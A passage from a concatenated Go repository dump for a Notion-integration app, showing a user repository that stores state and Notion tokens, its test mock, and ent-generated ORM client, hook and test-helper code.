(*ent.User, error) { u, err := ur.User. Create(). SetID(id). SetStateToken(stateToken). Save(ctx) if err != nil { isAlreadyExistsErr := strings.Contains(err.Error(), "duplicate key value violates unique constraint") if !isAlreadyExistsErr { return nil, fmt.Errorf("failed creating user: %w", err) } err := ur.User.Update().SetStateToken(stateToken).Where(user.IDEQ(id)).Exec(ctx) if err != nil { return nil, fmt.Errorf("failed creating user: %w", err) } return u, nil } return u, nil } func (ur *UserRepo) GetAllUsers(ctx context.Context) ([]*ent.User, error) { return ur.User.Query().All(ctx) } func (ur *UserRepo) GetStateTokenById(ctx context.Context, id int) (*ent.User, error) { u, err := ur.User.Get(ctx, id) if err != nil { return nil, err } return u, nil } func (ur *UserRepo) SaveNotionTokenByStateToken(ctx context.Context, notionToken, stateToken string) (*ent.User, error) { err := ur.User.Update().SetNotionToken(notionToken).Where(user.StateTokenEQ(stateToken)).Exec(ctx) if err != nil { return nil, err } return nil, nil } func (ur *UserRepo) GetNotionTokenByID(ctx context.Context, id int) (string, error) { u, err := ur.User.Get(ctx, id) if err != nil { return "", err } return u.NotionToken, nil } func (ur *UserRepo) SetDefaultPage(ctx context.Context, id int, page string) error { err := ur.User.Update().SetDefaultPage(page).Where(user.IDEQ(id)).Exec(ctx) if err != nil { return err } return nil } func (ur *UserRepo) GetDefaultPage(ctx context.Context, id int) (string, error) { u, err := ur.User.Get(ctx, id) if err != nil { return "", err } return u.DefaultPage, nil } func (ur *UserRepo) DeleteUser(ctx context.Context, id int) error { _, err := ur.User.Delete().Where(user.IDEQ(id)).Exec(ctx) return err } ``` ## /adapters/db/users_mock.go ```go path="/adapters/db/users_mock.go" package db import ( "context" "github.com/notion-echo/adapters/ent" ) var _ UserRepoInterface = (*UserRepoMock)(nil) type UserRepoMock struct { Db map[int]*ent.User Err error } func NewUserRepoMock(db map[int]*ent.User, err error) UserRepoInterface { return &UserRepoMock{ Db: db, Err: err, } } func (ur *UserRepoMock) GetUser(ctx context.Context, id int) (*ent.User, error) { return ur.Db[id], nil } func (ur *UserRepoMock) SaveUser(ctx context.Context, id int, stateToken string) (*ent.User, error) { if ur.Err != nil { return nil, ur.Err } newUser := &ent.User{ ID: id, StateToken: stateToken, } ur.Db[id] = newUser return newUser, nil } func (ur *UserRepoMock) GetStateTokenById(ctx context.Context, id int) (*ent.User, error) { u, ok := ur.Db[id] if !ok { return nil, nil } return u, nil } func (ur *UserRepoMock) GetAllUsers(ctx context.Context) ([]*ent.User, error) { if ur.Err != nil { return nil, ur.Err } users := make([]*ent.User, 0) for _, v := range ur.Db { users = append(users, v) } return users, nil } func (ur *UserRepoMock) SaveNotionTokenByStateToken(ctx context.Context, notionToken, stateToken string) (*ent.User, error) { return nil, nil } func (ur *UserRepoMock) GetNotionTokenByID(ctx context.Context, id int) (string, error) { return "", nil } func (ur *UserRepoMock) SetDefaultPage(ctx context.Context, id int, page string) error { if ur.Err != nil { return ur.Err } return nil } func (ur *UserRepoMock) GetDefaultPage(ctx context.Context, id int) (string, error) { if ur.Err != nil { return "", ur.Err } if p, ok := ur.Db[id]; ok { return p.DefaultPage, nil } return "", &ent.NotFoundError{} } func (ur *UserRepoMock) DeleteUser(ctx context.Context, id int) error { if ur.Err != nil { return ur.Err } ur.Db[id] = nil return nil } ``` ## /adapters/ent/client.go ```go path="/adapters/ent/client.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "errors" "fmt" "log" "reflect" "github.com/notion-echo/adapters/ent/migrate" "entgo.io/ent" "entgo.io/ent/dialect" "entgo.io/ent/dialect/sql" "github.com/notion-echo/adapters/ent/user" ) // Client is the client that holds all ent builders. type Client struct { config // Schema is the client for creating, migrating and dropping schema. Schema *migrate.Schema // User is the client for interacting with the User builders. User *UserClient } // NewClient creates a new client configured with the given options. func NewClient(opts ...Option) *Client { client := &Client{config: newConfig(opts...)} client.init() return client } func (c *Client) init() { c.Schema = migrate.NewSchema(c.driver) c.User = NewUserClient(c.config) } type ( // config is the configuration for the client and its builder. config struct { // driver used for executing database requests. driver dialect.Driver // debug enable a debug logging. debug bool // log used for logging on debug mode. log func(...any) // hooks to execute on mutations. hooks *hooks // interceptors to execute on queries. inters *inters } // Option function to configure the client. Option func(*config) ) // newConfig creates a new config for the client. func newConfig(opts ...Option) config { cfg := config{log: log.Println, hooks: &hooks{}, inters: &inters{}} cfg.options(opts...) return cfg } // options applies the options on the config object. func (c *config) options(opts ...Option) { for _, opt := range opts { opt(c) } if c.debug { c.driver = dialect.Debug(c.driver, c.log) } } // Debug enables debug logging on the ent.Driver. func Debug() Option { return func(c *config) { c.debug = true } } // Log sets the logging function for debug mode. func Log(fn func(...any)) Option { return func(c *config) { c.log = fn } } // Driver configures the client driver. func Driver(driver dialect.Driver) Option { return func(c *config) { c.driver = driver } } // Open opens a database/sql.DB specified by the driver name and // the data source name, and returns a new client attached to it. // Optional parameters can be added for configuring the client. func Open(driverName, dataSourceName string, options ...Option) (*Client, error) { switch driverName { case dialect.MySQL, dialect.Postgres, dialect.SQLite: drv, err := sql.Open(driverName, dataSourceName) if err != nil { return nil, err } return NewClient(append(options, Driver(drv))...), nil default: return nil, fmt.Errorf("unsupported driver: %q", driverName) } } // ErrTxStarted is returned when trying to start a new transaction from a transactional client. var ErrTxStarted = errors.New("ent: cannot start a transaction within a transaction") // Tx returns a new transactional client. The provided context // is used until the transaction is committed or rolled back. func (c *Client) Tx(ctx context.Context) (*Tx, error) { if _, ok := c.driver.(*txDriver); ok { return nil, ErrTxStarted } tx, err := newTx(ctx, c.driver) if err != nil { return nil, fmt.Errorf("ent: starting a transaction: %w", err) } cfg := c.config cfg.driver = tx return &Tx{ ctx: ctx, config: cfg, User: NewUserClient(cfg), }, nil } // BeginTx returns a transactional client with specified options. func (c *Client) BeginTx(ctx context.Context, opts *sql.TxOptions) (*Tx, error) { if _, ok := c.driver.(*txDriver); ok { return nil, errors.New("ent: cannot start a transaction within a transaction") } tx, err := c.driver.(interface { BeginTx(context.Context, *sql.TxOptions) (dialect.Tx, error) }).BeginTx(ctx, opts) if err != nil { return nil, fmt.Errorf("ent: starting a transaction: %w", err) } cfg := c.config cfg.driver = &txDriver{tx: tx, drv: c.driver} return &Tx{ ctx: ctx, config: cfg, User: NewUserClient(cfg), }, nil } // Debug returns a new debug-client. It's used to get verbose logging on specific operations. // // client.Debug(). // User. // Query(). // Count(ctx) func (c *Client) Debug() *Client { if c.debug { return c } cfg := c.config cfg.driver = dialect.Debug(c.driver, c.log) client := &Client{config: cfg} client.init() return client } // Close closes the database connection and prevents new queries from starting. func (c *Client) Close() error { return c.driver.Close() } // Use adds the mutation hooks to all the entity clients. // In order to add hooks to a specific client, call: `client.Node.Use(...)`. func (c *Client) Use(hooks ...Hook) { c.User.Use(hooks...) } // Intercept adds the query interceptors to all the entity clients. // In order to add interceptors to a specific client, call: `client.Node.Intercept(...)`. func (c *Client) Intercept(interceptors ...Interceptor) { c.User.Intercept(interceptors...) } // Mutate implements the ent.Mutator interface. func (c *Client) Mutate(ctx context.Context, m Mutation) (Value, error) { switch m := m.(type) { case *UserMutation: return c.User.mutate(ctx, m) default: return nil, fmt.Errorf("ent: unknown mutation type %T", m) } } // UserClient is a client for the User schema. type UserClient struct { config } // NewUserClient returns a client for the User from the given config. func NewUserClient(c config) *UserClient { return &UserClient{config: c} } // Use adds a list of mutation hooks to the hooks stack. // A call to `Use(f, g, h)` equals to `user.Hooks(f(g(h())))`. func (c *UserClient) Use(hooks ...Hook) { c.hooks.User = append(c.hooks.User, hooks...) } // Intercept adds a list of query interceptors to the interceptors stack. // A call to `Intercept(f, g, h)` equals to `user.Intercept(f(g(h())))`. func (c *UserClient) Intercept(interceptors ...Interceptor) { c.inters.User = append(c.inters.User, interceptors...) } // Create returns a builder for creating a User entity. func (c *UserClient) Create() *UserCreate { mutation := newUserMutation(c.config, OpCreate) return &UserCreate{config: c.config, hooks: c.Hooks(), mutation: mutation} } // CreateBulk returns a builder for creating a bulk of User entities. func (c *UserClient) CreateBulk(builders ...*UserCreate) *UserCreateBulk { return &UserCreateBulk{config: c.config, builders: builders} } // MapCreateBulk creates a bulk creation builder from the given slice. For each item in the slice, the function creates // a builder and applies setFunc on it. func (c *UserClient) MapCreateBulk(slice any, setFunc func(*UserCreate, int)) *UserCreateBulk { rv := reflect.ValueOf(slice) if rv.Kind() != reflect.Slice { return &UserCreateBulk{err: fmt.Errorf("calling to UserClient.MapCreateBulk with wrong type %T, need slice", slice)} } builders := make([]*UserCreate, rv.Len()) for i := 0; i < rv.Len(); i++ { builders[i] = c.Create() setFunc(builders[i], i) } return &UserCreateBulk{config: c.config, builders: builders} } // Update returns an update builder for User. func (c *UserClient) Update() *UserUpdate { mutation := newUserMutation(c.config, OpUpdate) return &UserUpdate{config: c.config, hooks: c.Hooks(), mutation: mutation} } // UpdateOne returns an update builder for the given entity. func (c *UserClient) UpdateOne(u *User) *UserUpdateOne { mutation := newUserMutation(c.config, OpUpdateOne, withUser(u)) return &UserUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} } // UpdateOneID returns an update builder for the given id. func (c *UserClient) UpdateOneID(id int) *UserUpdateOne { mutation := newUserMutation(c.config, OpUpdateOne, withUserID(id)) return &UserUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} } // Delete returns a delete builder for User. func (c *UserClient) Delete() *UserDelete { mutation := newUserMutation(c.config, OpDelete) return &UserDelete{config: c.config, hooks: c.Hooks(), mutation: mutation} } // DeleteOne returns a builder for deleting the given entity. func (c *UserClient) DeleteOne(u *User) *UserDeleteOne { return c.DeleteOneID(u.ID) } // DeleteOneID returns a builder for deleting the given entity by its id. func (c *UserClient) DeleteOneID(id int) *UserDeleteOne { builder := c.Delete().Where(user.ID(id)) builder.mutation.id = &id builder.mutation.op = OpDeleteOne return &UserDeleteOne{builder} } // Query returns a query builder for User. func (c *UserClient) Query() *UserQuery { return &UserQuery{ config: c.config, ctx: &QueryContext{Type: TypeUser}, inters: c.Interceptors(), } } // Get returns a User entity by its id. func (c *UserClient) Get(ctx context.Context, id int) (*User, error) { return c.Query().Where(user.ID(id)).Only(ctx) } // GetX is like Get, but panics if an error occurs. func (c *UserClient) GetX(ctx context.Context, id int) *User { obj, err := c.Get(ctx, id) if err != nil { panic(err) } return obj } // Hooks returns the client hooks. func (c *UserClient) Hooks() []Hook { return c.hooks.User } // Interceptors returns the client interceptors. func (c *UserClient) Interceptors() []Interceptor { return c.inters.User } func (c *UserClient) mutate(ctx context.Context, m *UserMutation) (Value, error) { switch m.Op() { case OpCreate: return (&UserCreate{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx) case OpUpdate: return (&UserUpdate{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx) case OpUpdateOne: return (&UserUpdateOne{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx) case OpDelete, OpDeleteOne: return (&UserDelete{config: c.config, hooks: c.Hooks(), mutation: m}).Exec(ctx) default: return nil, fmt.Errorf("ent: unknown User mutation op: %q", m.Op()) } } // hooks and interceptors per client, for fast access. type ( hooks struct { User []ent.Hook } inters struct { User []ent.Interceptor } ) ``` ## /adapters/ent/ent.go ```go path="/adapters/ent/ent.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "errors" "fmt" "reflect" "sync" "entgo.io/ent" "entgo.io/ent/dialect/sql" "entgo.io/ent/dialect/sql/sqlgraph" "github.com/notion-echo/adapters/ent/user" ) // ent aliases to avoid import conflicts in user's code. type ( Op = ent.Op Hook = ent.Hook Value = ent.Value Query = ent.Query QueryContext = ent.QueryContext Querier = ent.Querier QuerierFunc = ent.QuerierFunc Interceptor = ent.Interceptor InterceptFunc = ent.InterceptFunc Traverser = ent.Traverser TraverseFunc = ent.TraverseFunc Policy = ent.Policy Mutator = ent.Mutator Mutation = ent.Mutation MutateFunc = ent.MutateFunc ) type clientCtxKey struct{} // FromContext returns a Client stored inside a context, or nil if there isn't one. func FromContext(ctx context.Context) *Client { c, _ := ctx.Value(clientCtxKey{}).(*Client) return c } // NewContext returns a new context with the given Client attached. func NewContext(parent context.Context, c *Client) context.Context { return context.WithValue(parent, clientCtxKey{}, c) } type txCtxKey struct{} // TxFromContext returns a Tx stored inside a context, or nil if there isn't one. func TxFromContext(ctx context.Context) *Tx { tx, _ := ctx.Value(txCtxKey{}).(*Tx) return tx } // NewTxContext returns a new context with the given Tx attached. func NewTxContext(parent context.Context, tx *Tx) context.Context { return context.WithValue(parent, txCtxKey{}, tx) } // OrderFunc applies an ordering on the sql selector. // Deprecated: Use Asc/Desc functions or the package builders instead. type OrderFunc func(*sql.Selector) var ( initCheck sync.Once columnCheck sql.ColumnCheck ) // columnChecker checks if the column exists in the given table. func checkColumn(table, column string) error { initCheck.Do(func() { columnCheck = sql.NewColumnCheck(map[string]func(string) bool{ user.Table: user.ValidColumn, }) }) return columnCheck(table, column) } // Asc applies the given fields in ASC order. func Asc(fields ...string) func(*sql.Selector) { return func(s *sql.Selector) { for _, f := range fields { if err := checkColumn(s.TableName(), f); err != nil { s.AddError(&ValidationError{Name: f, err: fmt.Errorf("ent: %w", err)}) } s.OrderBy(sql.Asc(s.C(f))) } } } // Desc applies the given fields in DESC order. func Desc(fields ...string) func(*sql.Selector) { return func(s *sql.Selector) { for _, f := range fields { if err := checkColumn(s.TableName(), f); err != nil { s.AddError(&ValidationError{Name: f, err: fmt.Errorf("ent: %w", err)}) } s.OrderBy(sql.Desc(s.C(f))) } } } // AggregateFunc applies an aggregation step on the group-by traversal/selector. type AggregateFunc func(*sql.Selector) string // As is a pseudo aggregation function for renaming another other functions with custom names. For example: // // GroupBy(field1, field2). // Aggregate(ent.As(ent.Sum(field1), "sum_field1"), (ent.As(ent.Sum(field2), "sum_field2")). // Scan(ctx, &v) func As(fn AggregateFunc, end string) AggregateFunc { return func(s *sql.Selector) string { return sql.As(fn(s), end) } } // Count applies the "count" aggregation function on each group. func Count() AggregateFunc { return func(s *sql.Selector) string { return sql.Count("*") } } // Max applies the "max" aggregation function on the given field of each group. func Max(field string) AggregateFunc { return func(s *sql.Selector) string { if err := checkColumn(s.TableName(), field); err != nil { s.AddError(&ValidationError{Name: field, err: fmt.Errorf("ent: %w", err)}) return "" } return sql.Max(s.C(field)) } } // Mean applies the "mean" aggregation function on the given field of each group. func Mean(field string) AggregateFunc { return func(s *sql.Selector) string { if err := checkColumn(s.TableName(), field); err != nil { s.AddError(&ValidationError{Name: field, err: fmt.Errorf("ent: %w", err)}) return "" } return sql.Avg(s.C(field)) } } // Min applies the "min" aggregation function on the given field of each group. func Min(field string) AggregateFunc { return func(s *sql.Selector) string { if err := checkColumn(s.TableName(), field); err != nil { s.AddError(&ValidationError{Name: field, err: fmt.Errorf("ent: %w", err)}) return "" } return sql.Min(s.C(field)) } } // Sum applies the "sum" aggregation function on the given field of each group. func Sum(field string) AggregateFunc { return func(s *sql.Selector) string { if err := checkColumn(s.TableName(), field); err != nil { s.AddError(&ValidationError{Name: field, err: fmt.Errorf("ent: %w", err)}) return "" } return sql.Sum(s.C(field)) } } // ValidationError returns when validating a field or edge fails. type ValidationError struct { Name string // Field or edge name. err error } // Error implements the error interface. func (e *ValidationError) Error() string { return e.err.Error() } // Unwrap implements the errors.Wrapper interface. func (e *ValidationError) Unwrap() error { return e.err } // IsValidationError returns a boolean indicating whether the error is a validation error. func IsValidationError(err error) bool { if err == nil { return false } var e *ValidationError return errors.As(err, &e) } // NotFoundError returns when trying to fetch a specific entity and it was not found in the database. type NotFoundError struct { label string } // Error implements the error interface. func (e *NotFoundError) Error() string { return "ent: " + e.label + " not found" } // IsNotFound returns a boolean indicating whether the error is a not found error. func IsNotFound(err error) bool { if err == nil { return false } var e *NotFoundError return errors.As(err, &e) } // MaskNotFound masks not found error. func MaskNotFound(err error) error { if IsNotFound(err) { return nil } return err } // NotSingularError returns when trying to fetch a singular entity and more then one was found in the database. type NotSingularError struct { label string } // Error implements the error interface. func (e *NotSingularError) Error() string { return "ent: " + e.label + " not singular" } // IsNotSingular returns a boolean indicating whether the error is a not singular error. func IsNotSingular(err error) bool { if err == nil { return false } var e *NotSingularError return errors.As(err, &e) } // NotLoadedError returns when trying to get a node that was not loaded by the query. type NotLoadedError struct { edge string } // Error implements the error interface. func (e *NotLoadedError) Error() string { return "ent: " + e.edge + " edge was not loaded" } // IsNotLoaded returns a boolean indicating whether the error is a not loaded error. func IsNotLoaded(err error) bool { if err == nil { return false } var e *NotLoadedError return errors.As(err, &e) } // ConstraintError returns when trying to create/update one or more entities and // one or more of their constraints failed. For example, violation of edge or // field uniqueness. type ConstraintError struct { msg string wrap error } // Error implements the error interface. func (e ConstraintError) Error() string { return "ent: constraint failed: " + e.msg } // Unwrap implements the errors.Wrapper interface. func (e *ConstraintError) Unwrap() error { return e.wrap } // IsConstraintError returns a boolean indicating whether the error is a constraint failure. func IsConstraintError(err error) bool { if err == nil { return false } var e *ConstraintError return errors.As(err, &e) } // selector embedded by the different Select/GroupBy builders. type selector struct { label string flds *[]string fns []AggregateFunc scan func(context.Context, any) error } // ScanX is like Scan, but panics if an error occurs. func (s *selector) ScanX(ctx context.Context, v any) { if err := s.scan(ctx, v); err != nil { panic(err) } } // Strings returns list of strings from a selector. It is only allowed when selecting one field. func (s *selector) Strings(ctx context.Context) ([]string, error) { if len(*s.flds) > 1 { return nil, errors.New("ent: Strings is not achievable when selecting more than 1 field") } var v []string if err := s.scan(ctx, &v); err != nil { return nil, err } return v, nil } // StringsX is like Strings, but panics if an error occurs. func (s *selector) StringsX(ctx context.Context) []string { v, err := s.Strings(ctx) if err != nil { panic(err) } return v } // String returns a single string from a selector. It is only allowed when selecting one field. func (s *selector) String(ctx context.Context) (_ string, err error) { var v []string if v, err = s.Strings(ctx); err != nil { return } switch len(v) { case 1: return v[0], nil case 0: err = &NotFoundError{s.label} default: err = fmt.Errorf("ent: Strings returned %d results when one was expected", len(v)) } return } // StringX is like String, but panics if an error occurs. func (s *selector) StringX(ctx context.Context) string { v, err := s.String(ctx) if err != nil { panic(err) } return v } // Ints returns list of ints from a selector. It is only allowed when selecting one field. func (s *selector) Ints(ctx context.Context) ([]int, error) { if len(*s.flds) > 1 { return nil, errors.New("ent: Ints is not achievable when selecting more than 1 field") } var v []int if err := s.scan(ctx, &v); err != nil { return nil, err } return v, nil } // IntsX is like Ints, but panics if an error occurs. func (s *selector) IntsX(ctx context.Context) []int { v, err := s.Ints(ctx) if err != nil { panic(err) } return v } // Int returns a single int from a selector. It is only allowed when selecting one field. func (s *selector) Int(ctx context.Context) (_ int, err error) { var v []int if v, err = s.Ints(ctx); err != nil { return } switch len(v) { case 1: return v[0], nil case 0: err = &NotFoundError{s.label} default: err = fmt.Errorf("ent: Ints returned %d results when one was expected", len(v)) } return } // IntX is like Int, but panics if an error occurs. func (s *selector) IntX(ctx context.Context) int { v, err := s.Int(ctx) if err != nil { panic(err) } return v } // Float64s returns list of float64s from a selector. It is only allowed when selecting one field. func (s *selector) Float64s(ctx context.Context) ([]float64, error) { if len(*s.flds) > 1 { return nil, errors.New("ent: Float64s is not achievable when selecting more than 1 field") } var v []float64 if err := s.scan(ctx, &v); err != nil { return nil, err } return v, nil } // Float64sX is like Float64s, but panics if an error occurs. func (s *selector) Float64sX(ctx context.Context) []float64 { v, err := s.Float64s(ctx) if err != nil { panic(err) } return v } // Float64 returns a single float64 from a selector. It is only allowed when selecting one field. func (s *selector) Float64(ctx context.Context) (_ float64, err error) { var v []float64 if v, err = s.Float64s(ctx); err != nil { return } switch len(v) { case 1: return v[0], nil case 0: err = &NotFoundError{s.label} default: err = fmt.Errorf("ent: Float64s returned %d results when one was expected", len(v)) } return } // Float64X is like Float64, but panics if an error occurs. func (s *selector) Float64X(ctx context.Context) float64 { v, err := s.Float64(ctx) if err != nil { panic(err) } return v } // Bools returns list of bools from a selector. It is only allowed when selecting one field. func (s *selector) Bools(ctx context.Context) ([]bool, error) { if len(*s.flds) > 1 { return nil, errors.New("ent: Bools is not achievable when selecting more than 1 field") } var v []bool if err := s.scan(ctx, &v); err != nil { return nil, err } return v, nil } // BoolsX is like Bools, but panics if an error occurs. func (s *selector) BoolsX(ctx context.Context) []bool { v, err := s.Bools(ctx) if err != nil { panic(err) } return v } // Bool returns a single bool from a selector. It is only allowed when selecting one field. func (s *selector) Bool(ctx context.Context) (_ bool, err error) { var v []bool if v, err = s.Bools(ctx); err != nil { return } switch len(v) { case 1: return v[0], nil case 0: err = &NotFoundError{s.label} default: err = fmt.Errorf("ent: Bools returned %d results when one was expected", len(v)) } return } // BoolX is like Bool, but panics if an error occurs. func (s *selector) BoolX(ctx context.Context) bool { v, err := s.Bool(ctx) if err != nil { panic(err) } return v } // withHooks invokes the builder operation with the given hooks, if any. func withHooks[V Value, M any, PM interface { *M Mutation }](ctx context.Context, exec func(context.Context) (V, error), mutation PM, hooks []Hook) (value V, err error) { if len(hooks) == 0 { return exec(ctx) } var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { mutationT, ok := any(m).(PM) if !ok { return nil, fmt.Errorf("unexpected mutation type %T", m) } // Set the mutation to the builder. *mutation = *mutationT return exec(ctx) }) for i := len(hooks) - 1; i >= 0; i-- { if hooks[i] == nil { return value, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") } mut = hooks[i](mut) } v, err := mut.Mutate(ctx, mutation) if err != nil { return value, err } nv, ok := v.(V) if !ok { return value, fmt.Errorf("unexpected node type %T returned from %T", v, mutation) } return nv, nil } // setContextOp returns a new context with the given QueryContext attached (including its op) in case it does not exist. func setContextOp(ctx context.Context, qc *QueryContext, op string) context.Context { if ent.QueryFromContext(ctx) == nil { qc.Op = op ctx = ent.NewQueryContext(ctx, qc) } return ctx } func querierAll[V Value, Q interface { sqlAll(context.Context, ...queryHook) (V, error) }]() Querier { return QuerierFunc(func(ctx context.Context, q Query) (Value, error) { query, ok := q.(Q) if !ok { return nil, fmt.Errorf("unexpected query type %T", q) } return query.sqlAll(ctx) }) } func querierCount[Q interface { sqlCount(context.Context) (int, error) }]() Querier { return QuerierFunc(func(ctx context.Context, q Query) (Value, error) { query, ok := q.(Q) if !ok { return nil, fmt.Errorf("unexpected query type %T", q) } return query.sqlCount(ctx) }) } func withInterceptors[V Value](ctx context.Context, q Query, qr Querier, inters []Interceptor) (v V, err error) { for i := len(inters) - 1; i >= 0; i-- { qr = inters[i].Intercept(qr) } rv, err := qr.Query(ctx, q) if err != nil { return v, err } vt, ok := rv.(V) if !ok { return v, fmt.Errorf("unexpected type %T returned from %T. expected type: %T", vt, q, v) } return vt, nil } func scanWithInterceptors[Q1 ent.Query, Q2 interface { sqlScan(context.Context, Q1, any) error }](ctx context.Context, rootQuery Q1, selectOrGroup Q2, inters []Interceptor, v any) error { rv := reflect.ValueOf(v) var qr Querier = QuerierFunc(func(ctx context.Context, q Query) (Value, error) { query, ok := q.(Q1) if !ok { return nil, fmt.Errorf("unexpected query type %T", q) } if err := selectOrGroup.sqlScan(ctx, query, v); err != nil { return nil, err } if k := rv.Kind(); k == reflect.Pointer && rv.Elem().CanInterface() { return rv.Elem().Interface(), nil } return v, nil }) for i := len(inters) - 1; i >= 0; i-- { qr = inters[i].Intercept(qr) } vv, err := qr.Query(ctx, rootQuery) if err != nil { return err } switch rv2 := reflect.ValueOf(vv); { case rv.IsNil(), rv2.IsNil(), rv.Kind() != reflect.Pointer: case rv.Type() == rv2.Type(): rv.Elem().Set(rv2.Elem()) case rv.Elem().Type() == rv2.Type(): rv.Elem().Set(rv2) } return nil } // queryHook describes an internal hook for the different sqlAll methods. type queryHook func(context.Context, *sqlgraph.QuerySpec) ``` ## /adapters/ent/enttest/enttest.go ```go path="/adapters/ent/enttest/enttest.go" // Code generated by ent, DO NOT EDIT. package enttest import ( "context" "github.com/notion-echo/adapters/ent" // required by schema hooks. _ "github.com/notion-echo/adapters/ent/runtime" "entgo.io/ent/dialect/sql/schema" "github.com/notion-echo/adapters/ent/migrate" ) type ( // TestingT is the interface that is shared between // testing.T and testing.B and used by enttest. TestingT interface { FailNow() Error(...any) } // Option configures client creation. Option func(*options) options struct { opts []ent.Option migrateOpts []schema.MigrateOption } ) // WithOptions forwards options to client creation. func WithOptions(opts ...ent.Option) Option { return func(o *options) { o.opts = append(o.opts, opts...) } } // WithMigrateOptions forwards options to auto migration. func WithMigrateOptions(opts ...schema.MigrateOption) Option { return func(o *options) { o.migrateOpts = append(o.migrateOpts, opts...) } } func newOptions(opts []Option) *options { o := &options{} for _, opt := range opts { opt(o) } return o } // Open calls ent.Open and auto-run migration. func Open(t TestingT, driverName, dataSourceName string, opts ...Option) *ent.Client { o := newOptions(opts) c, err := ent.Open(driverName, dataSourceName, o.opts...) if err != nil { t.Error(err) t.FailNow() } migrateSchema(t, c, o) return c } // NewClient calls ent.NewClient and auto-run migration. func NewClient(t TestingT, opts ...Option) *ent.Client { o := newOptions(opts) c := ent.NewClient(o.opts...) migrateSchema(t, c, o) return c } func migrateSchema(t TestingT, c *ent.Client, o *options) { tables, err := schema.CopyTables(migrate.Tables) if err != nil { t.Error(err) t.FailNow() } if err := migrate.Create(context.Background(), c.Schema, tables, o.migrateOpts...); err != nil { t.Error(err) t.FailNow() } } ``` ## /adapters/ent/generate.go ```go path="/adapters/ent/generate.go" package ent //go:generate go run -mod=mod entgo.io/ent/cmd/ent generate ./schema ``` ## /adapters/ent/hook/hook.go ```go path="/adapters/ent/hook/hook.go" // Code generated by ent, DO NOT EDIT. package hook import ( "context" "fmt" "github.com/notion-echo/adapters/ent" ) // The UserFunc type is an adapter to allow the use of ordinary // function as User mutator. type UserFunc func(context.Context, *ent.UserMutation) (ent.Value, error) // Mutate calls f(ctx, m). func (f UserFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) { if mv, ok := m.(*ent.UserMutation); ok { return f(ctx, mv) } return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.UserMutation", m) } // Condition is a hook condition function. type Condition func(context.Context, ent.Mutation) bool // And groups conditions with the AND operator. func And(first, second Condition, rest ...Condition) Condition { return func(ctx context.Context, m ent.Mutation) bool { if !first(ctx, m) || !second(ctx, m) { return false } for _, cond := range rest { if !cond(ctx, m) { return false } } return true } } // Or groups conditions with the OR operator. func Or(first, second Condition, rest ...Condition) Condition { return func(ctx context.Context, m ent.Mutation) bool { if first(ctx, m) || second(ctx, m) { return true } for _, cond := range rest { if cond(ctx, m) { return true } } return false } } // Not negates a given condition. func Not(cond Condition) Condition { return func(ctx context.Context, m ent.Mutation) bool { return !cond(ctx, m) } } // HasOp is a condition testing mutation operation. func HasOp(op ent.Op) Condition { return func(_ context.Context, m ent.Mutation) bool { return m.Op().Is(op) } } // HasAddedFields is a condition validating `.AddedField` on fields. func HasAddedFields(field string, fields ...string) Condition { return func(_ context.Context, m ent.Mutation) bool { if _, exists := m.AddedField(field); !exists { return false } for _, field := range fields { if _, exists := m.AddedField(field); !exists { return false } } return true } } // HasClearedFields is a condition validating `.FieldCleared` on fields. func HasClearedFields(field string, fields ...string) Condition { return func(_ context.Context, m ent.Mutation) bool { if exists := m.FieldCleared(field); !exists { return false } for _, field := range fields { if exists := m.FieldCleared(field); !exists { return false } } return true } } // HasFields is a condition validating `.Field` on fields. func HasFields(field string, fields ...string) Condition { return func(_ context.Context, m ent.Mutation) bool { if _, exists := m.Field(field); !exists { return false } for _, field := range fields { if _, exists := m.Field(field); !exists { return false } } return true } } // If executes the given hook under condition. // // hook.If(ComputeAverage, And(HasFields(...), HasAddedFields(...))) func If(hk ent.Hook, cond Condition) ent.Hook { return func(next ent.Mutator) ent.Mutator { return ent.MutateFunc(func(ctx context.Context, m ent.Mutation) (ent.Value, error) { if cond(ctx, m) { return hk(next).Mutate(ctx, m) } return next.Mutate(ctx, m) }) } } // On executes the given hook only for the given operation. // // hook.On(Log, ent.Delete|ent.Create) func On(hk ent.Hook, op ent.Op) ent.Hook { return If(hk, HasOp(op)) } // Unless skips the given hook only for the given operation. // // hook.Unless(Log, ent.Update|ent.UpdateOne) func Unless(hk ent.Hook, op ent.Op) ent.Hook { return If(hk, Not(HasOp(op))) } // FixedError is a hook returning a fixed error. func FixedError(err error) ent.Hook { return func(ent.Mutator) ent.Mutator { return ent.MutateFunc(func(context.Context, ent.Mutation) (ent.Value, error) { return nil, err }) } } // Reject returns a hook that rejects all operations that match op. // // func (T) Hooks() []ent.Hook { // return []ent.Hook{ // Reject(ent.Delete|ent.Update), // } // } func Reject(op ent.Op) ent.Hook { hk := FixedError(fmt.Errorf("%s operation is not allowed", op)) return On(hk, op) } // Chain acts as a list of hooks and is effectively immutable. // Once created, it will always hold the same set of hooks in the same order. type Chain struct { hooks []ent.Hook } // NewChain creates a new chain of hooks. func NewChain(hooks ...ent.Hook) Chain { return Chain{append([]ent.Hook(nil), hooks...)} } // Hook chains the list of hooks and returns the final hook. func (c Chain) Hook() ent.Hook { return func(mutator ent.Mutator) ent.Mutator { for i := len(c.hooks) - 1; i >= 0; i-- { mutator = c.hooks[i](mutator) } return mutator } } // Append extends a chain, adding the specified hook // as the last ones in the mutation flow. func (c Chain) Append(hooks ...ent.Hook) Chain { newHooks := make([]ent.Hook, 0, len(c.hooks)+len(hooks)) newHooks = append(newHooks, c.hooks...) newHooks = append(newHooks, hooks...) return Chain{newHooks} } // Extend extends a chain, adding the specified chain // as the last ones in the mutation flow. func (c Chain) Extend(chain Chain) Chain { return c.Append(chain.hooks...) } ``` ## /adapters/ent/migrate/migrate.go ```go path="/adapters/ent/migrate/migrate.go" // Code generated by ent, DO NOT EDIT. package migrate import ( "context" "fmt" "io" "entgo.io/ent/dialect" "entgo.io/ent/dialect/sql/schema" ) var ( // WithGlobalUniqueID sets the universal ids options to the migration. // If this 